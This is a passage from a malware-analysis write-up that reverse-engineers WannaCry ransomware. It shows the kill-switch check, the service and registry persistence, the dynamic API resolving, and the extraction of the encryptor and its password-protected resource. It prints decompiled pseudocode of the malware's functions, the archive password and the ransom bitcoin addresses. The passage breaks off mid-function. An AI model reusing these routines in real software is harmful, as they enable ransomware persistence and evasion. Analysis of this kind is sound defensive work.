# WannaCry Ransomware

## <mark style="color:red;">Malware Detonation :</mark>

after detonating the malware we can notice that

* sandbox escape technique which detects fake internet by connecting to a url.
* it runs if there is no internet connection
* files are encrypted with the extenstion `WNCRY`&#x20;

<div align="left"><figure><img src="/files/Yo8WRbJfT3mWMzy3Wc7K" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/HYlZOtIkzNioxuundKJo" alt=""><figcaption></figcaption></figure></div>

there is a readme file where the malware author asks for money to decrypt victim files

<div align="left"><figure><img src="/files/FyNshQdeCeCtHM7OsA39" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">Static Analysis :</mark>&#x20;

### <mark style="background-color:blue;">strings :</mark>

```
floss Ransomware.wannacry.exe
```

this is the interesting strings i've found i didn't look deeply into the strings

```
SMB2
\192.168.56.20\IPC$

mssecsvc.exe
```

### <mark style="color:blue;">executable stored in the resources section :</mark>

the resource `1831` contains an executable which can be malicious and unpacked by wannacry binary at runtime to perform malicious behaviors.

<div align="left"><figure><img src="/files/3EgqFZHKs1q2NrBwEUjf" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">Dynamic Analysis :</mark>&#x20;

* calls the `InternetOpenA` win32 api function to is used to initialize the use of `WinINet` functions which enables your application to interact with FTP and HTTP protocols to access Internet resources.
* the binary loads a url string `http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com` into ecx register

```assembly
lea     ecx, [esp+64h+szUrl]
```

* calls the `InternetOpenUrlA` win32 api function to open the url and returns a valid handle to the URL if the connection is successfully established, or **NULL** if the connection fails.
* if the connection to the url is established successfully then it will exit without doing anything to the victim.
* if the connection is not established and the `InternetOpenUrlA` win32 api function returned `NULL` then it will call the function `sub_408090`&#x20;

<div align="left"><figure><img src="/files/9LLMx3njcgtnfSeuWpU0" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">URL existance checking :</mark>

if we have internet connection we can see that the program always exits since the domain is registered by someone

<div align="left"><figure><img src="/files/bafHmqvouCwyCTY2EKhJ" alt=""><figcaption></figcaption></figure></div>

here is the domain being checked which is already registered on the web by someone

<div align="left"><figure><img src="/files/KhNInXxCfdbYABDEaAb6" alt=""><figcaption></figcaption></figure></div>

so we have 2 solutions. patch the binary to make the comparaison always go to the interesting part where it calls the function `sub_40890` or we can just turn off internet connection which we will do to make things simple.

<div align="left"><figure><img src="/files/pvCIszj4ixLgBl8rHkRt" alt=""><figcaption></figcaption></figure></div>

now setting a breakpoint again we can see that it jumps to the other location

<div align="left"><figure><img src="/files/hT2gurmjGIe3rPTNxSfv" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">mssecsvc service creation :</mark>&#x20;

this function gets the full path to the wannacry executable using `GetModuleFilenameA` and then checks if the wannacry executable is executed with arguments or no arguments.

if it's executed with no arguments the function `sub_407F20` is called and then the program is done. else it opens an already created service called `mssecsvc2.0` (will see later the program will be executed with arguments using an auto start service `mssecsvc2.0`)

<div align="left"><figure><img src="/files/ihWYVkZJJYAKnmaMLSP6" alt=""><figcaption></figcaption></figure></div>

proceeding to the function `sub_407F20` since the ransomeware wannacry is executed by victims by clicking on the exe so it's run without arguments. the function calls 2 functions

<div align="left"><figure><img src="/files/QPnT3yqTWYJ6LDQAmIY8" alt=""><figcaption></figcaption></figure></div>

let's proceed to the first one `sub_407C40`.

* the variable buffer is assigned the string `{path_to_wncry_exe} -m security` for exemple in my case its `C:\Users\Azer\Desktop\Ransomware.wannacry.exe -m security`
* open the service manager using `OpenSCManagerA` which is used to make other service related operations like starting or creating a service.
* creates a service using `CreateServiceA` with the ServiceName `mssecsvc2.0` and DisplayName `Microsoft Security Center (2.0) Service` and the fifth arg is 0x10 which means that the service will run in its `own process` the sixth arg is 2 which means the service is set to `auto-start` eigth arg is **Buffer** which is the **BinaryPathName** which is `C:\Users\Azer\Desktop\Ransomware.wannacry.exe -m security`

you can view the official docs and check all arguments passed and what they mean&#x20;

{% embed url="<https://learn.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-createservicea>" %}

<div align="left"><figure><img src="/files/prYCGjDMTcQ8VuWP6LwU" alt=""><figcaption></figcaption></figure></div>

* starts the created service using `StartServiceA`

<div align="left"><figure><img src="/files/JTOtJad51FRXmvikyiJP" alt=""><figcaption></figcaption></figure></div>

to see the service created we will be detonating the malware or setting a breakpoint after starting the service

<div align="left"><figure><img src="/files/0MpAnNogFjDmXBk64Nqy" alt=""><figcaption></figcaption></figure></div>

let's run the binary by clicking on the green start button after hitting out breakpoint let's open the services windows by clicking on win + R -> services.msc

<div align="left"><figure><img src="/files/c1lRj3cChYORwllyabiI" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/yOfytjeDaGQmoiJu9G7I" alt=""><figcaption></figcaption></figure></div>

after we will enter the function `sub_407CE0`

<mark style="color:purple;">**Hiding imports via dynamic WinAPI functions resolving :**</mark>&#x20;

Import Address Table (IAT) stores information about libraries and functions that are used by the application. OS dynamically loads them at the executable startup. Very convinient (well it’s just how Windows works) however the table contents can give a lot of information about program functionality which could lead to being detected statically by antivirus vendors.

to hide this informations malware authors use a technique to dynamically resolve API function addresses using `GetModuleHandleW` to get handle to `kernel32.dll` loaded in memory and then find necessary functions with `GetProcAddress`.

<div align="left"><figure><img src="/files/vvsMDYVeEnyv6pesGNqt" alt=""><figcaption></figcaption></figure></div>

to find the module used to find function address we have to find it dynamically so we will break after calling `GetModuleHandleW` which will return a handle to the module being used. which will be stored in `eax` register.

<div align="left"><figure><img src="/files/1QNaxBNh5vBBIlp6trZk" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">Extracting the wannacry encryptor binary :</mark>&#x20;

after it starts extracting the resource `1831` which contains an executable from resources section. this is the resource we've found using pestudio.

<div align="left"><figure><img src="/files/tT9vu0IVroDvTRXQTa3L" alt=""><figcaption></figcaption></figure></div>

so now to extract this resource content we can either copy the whole hex dump of the executable using a debugger or we can just dump it statically since its hard coded into the resources section of the binary, using `pestudio` tool we can do so.

<mark style="color:purple;">**using a debugger**</mark> <mark style="color:purple;"></mark><mark style="color:purple;">:</mark>

set a breakpoint just after the `LockReource` function after this the executable content will be stored in the eax register since functions return values are stored in the eax register. copy the address of eax and then go to hex view click on `g` and paste the address of eax and you will see that the eax data starts with the `MZ` header which confirms that its an executable.

<div align="left"><figure><img src="/files/cexqktDursEb8CINUd3L" alt=""><figcaption></figcaption></figure></div>

<mark style="color:purple;">**using pestudio :**</mark>&#x20;

<figure><img src="/files/uxXiEKeChtsa6yOwTadh" alt=""><figcaption></figcaption></figure>

double click on executable and then save the file

<div align="left"><figure><img src="/files/s9rW4D0972y7E1qvFpIh" alt=""><figcaption></figcaption></figure></div>

let's open it using a hex editor program `HXD`

<div align="left"><figure><img src="/files/2ujO4WuIUaNYLFUCbMJd" alt=""><figcaption></figcaption></figure></div>

we can also use `detect it easy` to see more infos about the executable

<div align="left"><figure><img src="/files/jIz7GWc64O2XgudiOeRr" alt=""><figcaption></figcaption></figure></div>

opening the dumped executable using ida pro and looking at strings we can see crypto related strings which ensures that this is the part doing the encryption process. we can also see the encryption model used which is RSA so the ransomware may be is using public private key encryption.

<div align="left"><figure><img src="/files/ffdNb6XElDZ33fXjWGX8" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">tasksche.exe process creation :</mark>&#x20;

let's get back to the code after extracting the resource `1831`, after it creates two variables `taskexe_path` `qeriu_path` which hold different file paths and then creates a file using `CreateFileA`.

to find out what is the file created we will set a breakpoint at `CreateFileA` and then we will double click on `taskexe_path` after knowing the path we will step one instruction and search for the file created in the file system

<div align="left"><figure><img src="/files/eA5Iynef37WeRel4ZdUq" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/6Fdv2RkoyRFp34YC0uYI" alt=""><figcaption></figcaption></figure></div>

breaking at the call CreateFileA instruction, double click on taskexe\_path to view the path

<div align="left"><figure><img src="/files/uD1ewxUPCApKLlEbgLRv" alt=""><figcaption></figcaption></figure></div>

the file will be created at `C:\Windows\tasksche.exe`

<div align="left"><figure><img src="/files/db38Cm50InaxgATksI83" alt=""><figcaption></figcaption></figure></div>

let's step one more instruction in the debugger using `f8` and then open file explorer and search for this file

<div align="left"><figure><img src="/files/M26SIEzhI7u1McBBNKEi" alt=""><figcaption></figcaption></figure></div>

we notice that the file created is empty.

after this we will break after the `WriteFile` api function

<div align="left"><figure><img src="/files/h4QLSTyYKOdHoKiV2dgA" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/DnD8MYM0wJrm228vLbs7" alt=""><figcaption></figcaption></figure></div>

now let's search for the value stored in `&off_431340` by searching for the offset in hex view click on `g` and paste the offset and click `enter`

<div align="left"><figure><img src="/files/Hh5dDLwASd4GikLccYeG" alt=""><figcaption></figcaption></figure></div>

* `20 2F 69 00` -> `\i` so the variable `taskexe_path` will be `C:\WINDOWS\tasksche.exe \i`

<div align="left"><figure><img src="/files/WFYV8E0Gz7w8KIJNC3Dy" alt=""><figcaption></figcaption></figure></div>

after this a new process will be created using `CreateProcessA` which will be executing the command line `C:\WINDOWS\tasksche.exe \i`

we will open process hacker since it may notify us about some changes if there is any when the process is created also we can search in the list of processes for any newly created process. let's set a breakpoint just after the `call CreateProcessA` instruction and then run the debugger.

we can notice just after the instruction `call CreateProcessA` being executed process hacker notifies us about a newly created service with the name `bejrpjlecxiq111`

<div align="left"><figure><img src="/files/YfROBCpFEsEsw3YkkTOQ" alt=""><figcaption></figcaption></figure></div>

process hacker detected a newly created service `bejrpjlecxiq111`&#x20;

<div align="left"><figure><img src="/files/QnfvosREbwRcpk0DteJj" alt=""><figcaption></figcaption></figure></div>

let's search in process hacker for newly created process and we can find the process `tasksche.exe` which is the file containing the executable extracted from `1831` resource.

<div align="left"><figure><img src="/files/SEXFm9j6UU8qkEP2wn72" alt=""><figcaption></figcaption></figure></div>

for more informations about the process `tasksche.exe` double click on it.

<div align="left"><figure><img src="/files/YWlDTZaMcDNaFFfhmgqP" alt=""><figcaption></figcaption></figure></div>

we can see that the path of the tasksche.exe is moved from `C:\Windows\tasksche.exe` to `C:\ProgramData\bejrpjlecxiq111\tasksche.exe`

<div align="left"><figure><img src="/files/BICHlY7GFHMdYR42W3N7" alt=""><figcaption></figcaption></figure></div>

after few minutes new subprocesses apppear

<div align="left"><figure><img src="/files/oplqTfpHQIJ8AT7eG15Q" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">Analyzing wannacry res1831 encryptor when we run it with argument /i :</mark>&#x20;

to run a binary with arguments in ida click on `debugger -> run -> local windows debugger` and then specify the path to the binary and the argument&#x20;

<div align="left"><figure><img src="/files/TOjiSfZNMRepAxwxagQX" alt=""><figcaption></figcaption></figure></div>

now let's reverse the resource 1831 which is injected into tasksche.exe using ida pro again

```c
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  char ***v4; // eax
  void *v5; // eax
  int v6; // eax
  void (__stdcall *v7)(_DWORD, _DWORD); // eax
  char v9[1240]; // [esp+10h] [ebp-6E4h] BYREF
  CHAR Filename; // [esp+4E8h] [ebp-20Ch] BYREF
  char v11[516]; // [esp+4E9h] [ebp-20Bh] BYREF
  __int16 v12; // [esp+6EDh] [ebp-7h]
  char v13; // [esp+6EFh] [ebp-5h]
  int v14; // [esp+6F0h] [ebp-4h] BYREF

  Filename = byte_40F910;
  memset(v11, 0, sizeof(v11));
  v12 = 0;
  v13 = 0;
  GetModuleFileNameA(0, &Filename, 0x208u);
  sub_401225((int)DisplayName);
  if ( *_p___argc() != 2
    || (v4 = _p___argv(), strcmp((*v4)[1], aI))
    || !sub_401B5F(0)
    || (CopyFileA(&Filename, FileName, 0), GetFileAttributesA(FileName) == -1)
    || !sub_401F5D() )
  {
    if ( strrchr(&Filename, 92) )
      *strrchr(&Filename, 92) = 0;
    SetCurrentDirectoryA(&Filename);
    sub_4010FD(1);
    sub_401DAB(0, Str);
    sub_401E9E();
    sub_401064(CommandLine, 0, 0);
    sub_401064(aIcaclsGrantEve, 0, 0);
    if ( sub_40170A() )
    {
      sub_4012FD(v9);
      if ( sub_401437(0, 0, 0) )
      {
        v14 = 0;
        v5 = (void *)sub_4014A6(aTWnry, (int)&v14);
        if ( v5 )
        {
          v6 = sub_4021BD(v5, v14);
          if ( v6 )
          {
            v7 = (void (__stdcall *)(_DWORD, _DWORD))sub_402924(v6, String1);
            if ( v7 )
              v7(0, 0);
          }
        }
      }
      sub_40137A(v9);
    }
  }
  return 0;
}
```

first thing it gets the path to the executable, after it calls the function `sub_401225`, essentially this function generates a pseudo-random string with a length between 11 and 18 characters, consisting of lowercase letters followed by digits generated based on the computer name value retrieved using `GetComputerNameW`

<div align="left"><figure><img src="/files/5PMlEmGGhDY3vnkLuO89" alt=""><figcaption></figcaption></figure></div>

to see what is the random string generated we will set a breakpoint and follow execution after the instruction `call sub_401225` which will return the value of the random string and therefore this value will be stored in **eax register** labeled as DisplayName, copy the address of eax and then in the hex view click on `g` and search for that address anc click `enter`

the random string generated is `bjerpjlecxiq111` which is the service created previously and its part of the path where tasksche.exe is moved.

<div align="left"><figure><img src="/files/wQ5LQYm4KBf2QnQyH8Ip" alt=""><figcaption></figcaption></figure></div>

after this it will do a bunch of checks

```c
  if ( *_p___argc() != 2
    || (v4 = _p___argv(), strcmp((*v4)[1], aI)) # aI -> "/i" (disassembly)
    || !sub_401B5F(0)
    || (CopyFileA(&Filename, FileName, 0), GetFileAttributesA(FileName) == -1)
    || !sub_401F5D() )
```

<mark style="color:purple;">**first check**</mark> <mark style="color:purple;"></mark><mark style="color:purple;">:</mark>&#x20;

checks if the res 1831 program is launched with an argument and if it retuns false it will pass to the next check

<mark style="color:purple;">**second check**</mark> <mark style="color:purple;"></mark><mark style="color:purple;">:</mark> if it passed to this check that means that the argument is provided so this second check checks if the argument passed is "/i" (we saw that the res 1831 is passed to tasksche.exe and executed with "/i") if it's not "/i" it will pass to the next check

<mark style="color:purple;">**third check**</mark> <mark style="color:purple;"></mark><mark style="color:purple;">:</mark>&#x20;

it will call the function `sub_401B5F`

```c
  MultiByteToWideChar(0, 0, DisplayName, -1, &WideCharStr, 99);
  GetWindowsDirectoryW(&Buffer, 0x104u);
  v3[1] = 0;
  
  swprintf(&FileName, (const size_t)&off_40F40C, &Buffer);
  
  if ( GetFileAttributesW(&FileName) != -1 && sub_401AF6(&FileName, &WideCharStr, a1) )
    return 1;
    
  swprintf(&FileName, (const size_t)&off_40F3F8, &Buffer);
  if ( sub_401AF6(&FileName, &WideCharStr, a1) || sub_401AF6(&Buffer, &WideCharStr, a1) )
    return 1;
    
  GetTempPathW(0x104u, &FileName);
  
  if ( wcsrchr(&FileName, 0x5Cu) )
    *wcsrchr(&FileName, 0x5Cu) = 0;
    
  return sub_401AF6(&FileName, &WideCharStr, a1) != 0;
```

```c
swprintf(&FileName, (const size_t)&off_40F40C, &Buffer); 
```

to find out what is FileName value is we will resolve its value dynamically by following execution after executing the whole command and then hover over the FileName and search for it in hex view

<div align="left"><figure><img src="/files/I3sf8zOo6yhOuX7jWanz" alt=""><figcaption></figcaption></figure></div>

we see that FileName is :

* FileName -> `C:\ProgramData`

after it will call `GetFileAttributesW` on `FileName` which is `C:\ProgramData` to check whether this Directory exists or not, if it exists it will proceed to call the function `sub_401AF6`

after this it will call the function `sub_401AF6` with FileName `C:\ProgramData` as first arguement and `bjerpjlecxiq111` as second argument

<div align="left"><figure><img src="/files/TvpCtf2K6RIhIR8fCBAf" alt=""><figcaption></figcaption></figure></div>

here is the decompiled code for `sub_401AF6`

```c
int __cdecl sub_401AF6(LPCWSTR lpPathName, LPCWSTR lpFileName, wchar_t *Buffer)
{
  DWORD v4; // eax

  CreateDirectoryW(lpPathName, 0); #lpPathName -> "C:\ProgramData\"
  if ( !SetCurrentDirectoryW(lpPathName) )
    return 0;
  CreateDirectoryW(lpFileName, 0); # lpFileName -> "bejrpjlecxiq111"
  if ( !SetCurrentDirectoryW(lpFileName) )
    return 0;
  v4 = GetFileAttributesW(lpFileName);
  LOBYTE(v4) = v4 | 6;
  SetFileAttributesW(lpFileName, v4);
  if ( Buffer )
    swprintf(Buffer, (const size_t)&off_40EB88, lpPathName, lpFileName);
  return 1;
}
```

it changes the current working directory to the lpPathName directory `C:\ProgramData\` and then creates a directory `bejrpjlecxiq111` at `C:\ProgramData`

<div align="left"><figure><img src="/files/gW0GxJK0nQPeXrUiDJEY" alt=""><figcaption></figcaption></figure></div>

and finally sets the directory `bejrpjlecxiq111` as hidden using `SetFileAttributesW` and supplying

<div align="left"><figure><img src="/files/b94JvRviudf7mCCBcJr3" alt=""><figcaption></figcaption></figure></div>

after this it will exit the function `sub_401B5F` and it will execute this command

```c
(CopyFileA(&Filename, FileName, 0), GetFileAttributesA(FileName) == -1)
```

after executing the instruction `call CopyFileA` , the file `tasksche.exe` will be copied to the destination `C:\ProgramData\bejrpjlecxiq111\`

<div align="left"><figure><img src="/files/d5WXT0dyPqcGYbJd3QER" alt=""><figcaption></figcaption></figure></div>

<mark style="color:purple;">**fourth check :**</mark>&#x20;

then `sub401F5D` is called

```c
BOOL sub_401F5D()
{
  CHAR Buffer; // [esp+4h] [ebp-208h] BYREF
  char v2[516]; // [esp+5h] [ebp-207h] BYREF
  __int16 v3; // [esp+209h] [ebp-3h]
  char v4; // [esp+20Bh] [ebp-1h]

  Buffer = byte_40F910;
  memset(v2, 0, sizeof(v2));
  v3 = 0;
  v4 = 0;
  GetFullPathNameA(FileName, 0x208u, &Buffer, 0);
  return sub_401CE8(&Buffer) && sub_401EFF(60) || sub_401064(&Buffer, 0, 0) && sub_401EFF(60);
}
```

first of all it will get the full path name for `tasksche.exe` using the windows api function `GetFullPathNameA`

<div align="left"><figure><img src="/files/nDaEGngv9StujytOH3qW" alt=""><figcaption></figcaption></figure></div>

and then it will call `sub_401CE8`

```c
int __cdecl sub_401CE8(const char *a1)
{
  v1 = OpenSCManagerA(0, 0, (DWORD)&unk_F003F);
  hSCManager = v1;
  if ( !v1 )
    return 0;
  v3 = OpenServiceA(v1, DisplayName, (DWORD)&unk_F01FF);
  hSCObject = v3;
  if ( v3 )
  {
    StartServiceA(v3, 0, 0);
    CloseServiceHandle(hSCObject);
    v4 = 1;
  }
  else
  {
    sprintf(Buffer, "cmd.exe /c \"%s\"", a1);
    v5 = CreateServiceA(hSCManager, DisplayName, DisplayName, (DWORD)&unk_F01FF, 0x10u, 2u, 1u, Buffer, 0, 0, 0, 0, 0);
    v6 = v5;
    if ( v5 )
    {
      StartServiceA(v5, 0, 0);
      CloseServiceHandle(v6);
      v9 = 1;
    }
    v4 = v9;
  }
  CloseServiceHandle(hSCManager);
  return v4;
}
```

which tries to open the service with the name `bejrpjlecxiq111` and if it's already created ,it will just start it if not it will create it

<div align="left"><figure><img src="/files/dKaWAqrQoP6RzJlC4ZAp" alt=""><figcaption></figcaption></figure></div>

if the service is not already created it will create it, but before it will set up some arguments and the first one is the command line that the created service will execute. so it formats the buffer variable with the string `cmd.exe /c C:\ProgramData\bejrpjlecxiq111\tasksche.exe` wich will be the CommandLine to execute.

<div align="left"><figure><img src="/files/olqxVjQIM3XSl5rkHE7K" alt=""><figcaption></figcaption></figure></div>

to see the content of buffer we can just double click it

<div align="left"><figure><img src="/files/bzeKie1DZEQPspMYqjAn" alt=""><figcaption></figcaption></figure></div>

we can copy the beginning address in hex view for better formatting and readability

<div align="left"><figure><img src="/files/YJlVQ6vQEUL52J8bRC7r" alt=""><figcaption></figcaption></figure></div>

there is a bunch of arguments passed to `CreateServiceA` api function you can visit microsoft docs to read what each one does but the most important ones are **binaryPathName** which is assigned the value of the buffer which contains the command line constructed `cmd.exe /c C:\ProgramData\bejrpjlecxiq111\tasksche.exe` since the buffer is passed to eax and then eax is passed to the 8th argument (binaryPathName arg) and the **StartType** which is `2` which means that the service will `auto-start` and the **ServiceType** which is `10` which means that the process will run in its `own process`

<div align="left"><figure><img src="/files/IBIZQZ31IhahJaUuvnIV" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/eHT4X0OIS45nPD9zYlbs" alt=""><figcaption></figcaption></figure></div>

and then it starts the service using `StartServiceA` which run the wannacry res1831 encryptor with no arguments as a result it encrypts all the files in the system.

<div align="left"><figure><img src="/files/qNSjHf93hDoAmpwj92C4" alt=""><figcaption></figcaption></figure></div>

and then calls the function `sub_401EFF` which creates a mutex to ensure that no two instances of the binary are running at the same time

```c
int __cdecl sub_401EFF(int a1)
{
  int v1; // esi
  HANDLE v2; // eax
  char Buffer[100]; // [esp+4h] [ebp-64h] BYREF

  sprintf(Buffer, "%s%d", aGlobalMswinzon, 0);
  v1 = 0;
  if ( a1 <= 0 )
    return 0;
  while ( 1 )
  {
    v2 = OpenMutexA((DWORD)&unk_100000, 1, Buffer);
    if ( v2 )
      break;
    Sleep(0x3E8u);
    if ( ++v1 >= a1 )
      return 0;
  }
  CloseHandle(v2);
  return 1;
}
```

and then exits the program.

### <mark style="color:blue;">WannaCry Attack Map Until This Point :</mark>&#x20;

when `tasksche.exe` is run **without arguments** another path is taken where it does file system encryption and other operations.

<div align="left"><figure><img src="/files/dQndKtEgXIrTd1tnFGYq" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:blue;">Analyzing wannacry res1813 encryptor when we run it with no arguments :</mark>&#x20;

importing the wncry.dump (1831 res) into ida pro directly and start executing it will make it execute with no arguments.

so it will bypass the if check since the first check `*_p___argc() != 2` will return true and then jump into the `strrchr` command

<div align="left"><figure><img src="/files/WeCMAmUsnIXOYUDByabH" alt=""><figcaption></figcaption></figure></div>

```c
setCurrentDirectoryA(&FileName);
FileName -> C:\ProgramData\bejrpjlecxiq111
```

and then the function `sub_4010FD` is called with argument `1`

```c
int __cdecl sub_4010FD(int a1)
{
  qmemcpy(Destination, aSoftware, sizeof(Destination));
  Buffer = 0;
  phkResult = 0;
  memset(v10, 0, sizeof(v10));
  memset(v6, 0, sizeof(v6));
  v7 = 0;
  v8 = 0;
  wcscat(Destination, L"WanaCrypt0r");
  v12 = 0;
  while ( 1 )
  {
    if ( v12 )
      RegCreateKeyW(HKEY_CURRENT_USER, Destination, &phkResult);
    else
      RegCreateKeyW(HKEY_LOCAL_MACHINE, Destination, &phkResult);
    if ( phkResult )
    {
      if ( a1 )
      {
        GetCurrentDirectoryA(0x207u, &Buffer);
        v1 = strlen(&Buffer);
        v2 = RegSetValueExA(phkResult, ValueName, 0, 1u, (const BYTE *)&Buffer, v1 + 1) == 0;
      }
      else
      {
        cbData = 519;
        v3 = RegQueryValueExA(phkResult, ValueName, 0, 0, (LPBYTE)&Buffer, &cbData);
        v2 = v3 == 0;
        if ( !v3 )
          SetCurrentDirectoryA(&Buffer);
      }
      RegCloseKey(phkResult);
      if ( v2 )
        break;
    }
    if ( ++v12 >= 2 )
      return 0;
  }
  return 1;
}
```

<div align="left"><figure><img src="/files/p38znwkGGCV4EnAsu7hi" alt=""><figcaption></figcaption></figure></div>

aSoftware -> `"Software\"`, this string is passed to the variable `Destination` the string `WanaCrypt0r` is appended at the end of the string aSoftware so the Destination variable will be `Software\WanaCrypt0r`

```c
qmemcpy(Destination, aSoftware, sizeof(Destination));
wcscat(Destination, L"WanaCrypt0r");
```

<div align="left"><figure><img src="/files/84v5ODRFdiiHjE31ErrJ" alt=""><figcaption></figcaption></figure></div>

```c
v12 = 0;
if ( v12 )
	# Destination is the subKey
	RegCreateKeyW(HKEY_CURRENT_USER, Destination, &phkResult);
else
    RegCreateKeyW(HKEY_LOCAL_MACHINE, Destination, &phkResult);
```

since v12 = 0 the registry subKey will be created at `HKEY_LOCAL_MACHINE`, to search for the subkey in regedit just `CTRL + F` and search for `WanaCrypt0r`

<div align="left"><figure><img src="/files/AU4W6pSWJQrLqYEtvT60" alt=""><figcaption></figcaption></figure></div>

```c
      if ( a1 )
      {
        GetCurrentDirectoryA(0x207u, &Buffer);
        v1 = strlen(&Buffer);
        v2 = RegSetValueExA(phkResult, ValueName, 0, 1u, (const BYTE *)&Buffer, v1 + 1) == 0;
      }
      else
      {
        cbData = 519;
        v3 = RegQueryValueExA(phkResult, ValueName, 0, 0, (LPBYTE)&Buffer, &cbData);
        v2 = v3 == 0;
        if ( !v3 )
          SetCurrentDirectoryA(&Buffer);
      }
```

since a1 is the argument passed to the function `sub_4010FD` and the argument is `1` that means that the first block will be executed, so it will get the CurrentDirectory and create a key value pair in the registry subKey created

<div align="left"><figure><img src="/files/WGyNQynSPpw0Q5wAHoSt" alt=""><figcaption></figcaption></figure></div>

after it will close the handle to registry and exit.

### <mark style="color:blue;">Extracting Protected Zip file from Resources section :</mark>&#x20;

then call `sub_401DAB(0, Str);` where Str is `WNcry@2ol7`

```c
int __cdecl sub_401DAB(HMODULE hModule, char *Str)
{
  HRSRC v2; // eax
  HRSRC v3; // esi
  HGLOBAL v4; // eax
  void *v5; // edi
  int v6; // eax
  void *v7; // esi
  int v9; // ebx
  char *i; // edi
  int Src; // [esp+8h] [ebp-12Ch] BYREF
  char Str1[296]; // [esp+Ch] [ebp-128h] BYREF

  v2 = FindResourceA(hModule, (LPCSTR)2058, Type);
  v3 = v2;
  if ( !v2 )
    return 0;
  v4 = LoadResource(hModule, v2);
  if ( !v4 )
    return 0;
  v5 = LockResource(v4);
  if ( !v5 )
    return 0;
  v6 = SizeofResource(hModule, v3);
  v7 = (void *)sub_4075AD(v5, v6, Str);
  if ( !v7 )
    return 0;
  Src = 0;
  memset(Str1, 0, sizeof(Str1));
  sub_4075C4((int)v7, -1, &Src);
  v9 = Src;
  for ( i = 0; (int)i < v9; ++i )
  {
    sub_4075C4((int)v7, (int)i, &Src);
    if ( strcmp(Str1, Str2) || GetFileAttributesA(Str1) == -1 )
      sub_40763D((int)v7, i, Str1);
  }
  sub_407656(v7);
  return 1;
}
```

in the beginning it will extract the resource 2058 from resources section using 4 windows api functions `FindResourceA`, `LoadResource`, `LockResource` and `SizeofResource`

let's extract this resource, i've couldn't extract it using `pestudio` tool

<div align="left"><figure><img src="/files/C3dXXOkKMyrdxFad9JDV" alt=""><figcaption></figcaption></figure></div>

instead i will be using the `wrestool`

```bash
remnux@remnux:~/ctf/malware$ wrestool wncry.dump 
--type='XIA' --name=2058 --language=1033 [offset=0x100f0 size=3446325]
--type=16 --name=1 --language=1033 [type=version offset=0x359728 size=904]
--type=24 --name=1 --language=1033 [offset=0x359ab0 size=1263]
remnux@remnux:~/ctf/malware$ wrestool wncry.dump -R -x --name=2058 > 2058.XIA
remnux@remnux:~/ctf/malware$ file 2058.XIA 
2058.XIA: Zip archive data, at least v2.0 to extract
remnux@remnux:~/ctf/malware$ unzip 2058.XIA
Archive:  2058.XIA
[2058.XIA] b.wnry password: 
   skipping: b.wnry                  incorrect password
   skipping: c.wnry                  incorrect password
   ...
   ...
   ...
```

the resource is a password protected zip, let's try using the string passed to the function `WNcry@2ol7` and it worked

```bash
remnux@remnux:~/ctf/malware/2025XIA$ unzip 2058.XIA
Archive:  2058.XIA
[2058.XIA] b.wnry password: WNcry@2ol7
  inflating: b.wnry                  
  inflating: c.wnry                  
  ...
  ...
  ...

remnux@remnux:~/ctf/malware/2025XIA$ ls
2058.XIA  b.wnry  c.wnry  msg  r.wnry  s.wnry  taskdl.exe  taskse.exe  t.wnry  u.wnry  wncry.dump
remnux@remnux:~/ctf/malware/2025XIA$ file *
2058.XIA:   Zip archive data, at least v2.0 to extract
b.wnry:     data
c.wnry:     data
msg:        directory
r.wnry:     ASCII text, with CRLF line terminators
s.wnry:     Zip archive data, at least v1.0 to extract
taskdl.exe: PE32 executable (GUI) Intel 80386, for MS Windows
taskse.exe: PE32 executable (GUI) Intel 80386, for MS Windows
t.wnry:     data
u.wnry:     PE32 executable (GUI) Intel 80386, for MS Windows
wncry.dump: PE32 executable (GUI) Intel 80386, for MS Windows
```

we can notice that those files extracted from the resource 2058 are the files copied to `C:\ProgramData\bejrpjlecxiq111\`

<div align="left"><figure><img src="/files/2mbfdR8VOHjXv1ML9G9f" alt=""><figcaption></figcaption></figure></div>

it loops through all extracted zip files creates files with there names writes their content in the files, change timestamp of the files and then moves them to the current working directory where tasksche.exe file is located

<div align="left"><figure><img src="/files/CSaub6Fogca0ZltUQrge" alt=""><figcaption></figcaption></figure></div>

creates and writes the content of b.wnry

<div align="left"><figure><img src="/files/ivfaAV4SQcc2ET7NYKye" alt=""><figcaption></figcaption></figure></div>

and then changes some time properties of the file using `SetFileTime`

```c
SetFileTime(hFile, &CreationTime, &LastAccessTime, &LastWriteTime);
```

<div align="left"><figure><img src="/files/ApMDFBm4rAogGsfJMSru" alt=""><figcaption></figcaption></figure></div>

before it modified the time properties

<div align="left"><figure><img src="/files/CpJGKErxIEsGyemUv4mT" alt=""><figcaption></figcaption></figure></div>

after it has modified the time properties using `SetFileTime`

<div align="left"><figure><img src="/files/Swq39MiV3lWjTRGtI6Ki" alt=""><figcaption></figcaption></figure></div>

finally when the function `sub_401DAB` ends all files are moved to `C:\ProgramData\bjerpjlecxiq111\`

### <mark style="color:blue;">loading one of the bitcoin addresses into c.wnry :</mark>

after it calls the function `sub_401E9E`

```c
int sub_401E9E()
{
  int result; // eax
  int v1; // eax
  char Buffer[178]; // [esp+0h] [ebp-318h] BYREF
  char Destination[602]; // [esp+B2h] [ebp-266h] BYREF
  char *Source[3]; // [esp+30Ch] [ebp-Ch]

  Source[0] = a13am4vw2dhxygx; #13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
  Source[1] = a12t9ydpgwuez9n; #12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
  Source[2] = a115p7ummngoj1p; #115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
